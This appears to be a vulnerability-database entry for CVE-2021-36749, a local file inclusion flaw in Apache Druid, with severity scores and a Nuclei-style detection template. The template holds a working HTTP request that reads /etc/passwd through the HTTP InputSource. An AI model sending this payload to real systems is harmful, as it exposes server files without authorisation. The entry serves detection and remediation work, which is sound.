CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
98.2%
Apache Druid ingestion system is vulnerable to local file inclusion. The InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.
id: CVE-2021-36749
info:
name: Apache Druid - Local File Inclusion
author: _0xf4n9x_
severity: medium
description: Apache Druid ingestion system is vulnerable to local file inclusion. The InputSource is used for reading data from a certain data source. However, the HTTP InputSource allows authenticated users to read data from other sources than intended, such as the local file system, with the privileges of the Druid server process. This is not an elevation of privilege when users access Druid directly, since Druid also provides the Local InputSource, which allows the same level of access. But it is problematic when users interact with Druid indirectly through an application that allows users to specify the HTTP InputSource, but not the Local InputSource. In this case, users could bypass the application-level restriction by passing a file URL to the HTTP InputSource. This issue was previously mentioned as being fixed in 0.21.0 as per CVE-2021-26920 but was not fixed in 0.21.0 or 0.21.1.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the affected system.
remediation: |
Apply the latest security patches or updates provided by Apache Druid to fix the LFI vulnerability.
reference:
- https://github.com/BrucessKING/CVE-2021-36749
- https://lists.apache.org/thread.html/rc9400a70d0ec5cdb8a3486fc5ddb0b5282961c0b63e764abfbcb9f5d%40%3Cdev.druid.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2021-36749
- https://lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be@%3Cannounce.apache.org%3E
- https://lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be%40%3Cannounce.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-36749
cwe-id: CWE-863
epss-score: 0.79504
epss-percentile: 0.98204
cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: druid
tags: cve2021,cve,apache,lfi,auth-bypass,druid
http:
- raw:
- |
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"http","uris":[" file:///etc/passwd "]}},"dataSchema":{"dataSource":"sample","parser":{"type":"string", "parseSpec":{"format":"regex","pattern":"(.*)","columns":["a"],"dimensionsSpec":{},"timestampSpec":{"column":"no_ such_ column","missingValue":"2010-01-01T00:00:00Z"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "druid:*:1000:1000:"
condition: or
# digest: 4a0a0047304502203323830c1d350362a1c5cd6246f4f62a3e158e16610ad18f3ebcb1d4d11ed22a022100896e444f11e41d53616e890391efd077dee3d68ac3fa1b00958001f56c6696e7:922c64590222798bb761d5b6d8e72950
github.com/BrucessKING/CVE-2021-36749
lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be%40%3Cannounce.apache.org%3E
lists.apache.org/thread.html/r304dfe56a5dfe1b2d9166b24d2c74ad1c6730338b20aef77a00ed2be@%3Cannounce.apache.org%3E
lists.apache.org/thread.html/rc9400a70d0ec5cdb8a3486fc5ddb0b5282961c0b63e764abfbcb9f5d%40%3Cdev.druid.apache.org%3E
nvd.nist.gov/vuln/detail/CVE-2021-36749
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
AI Score
Confidence
High
EPSS
Percentile
98.2%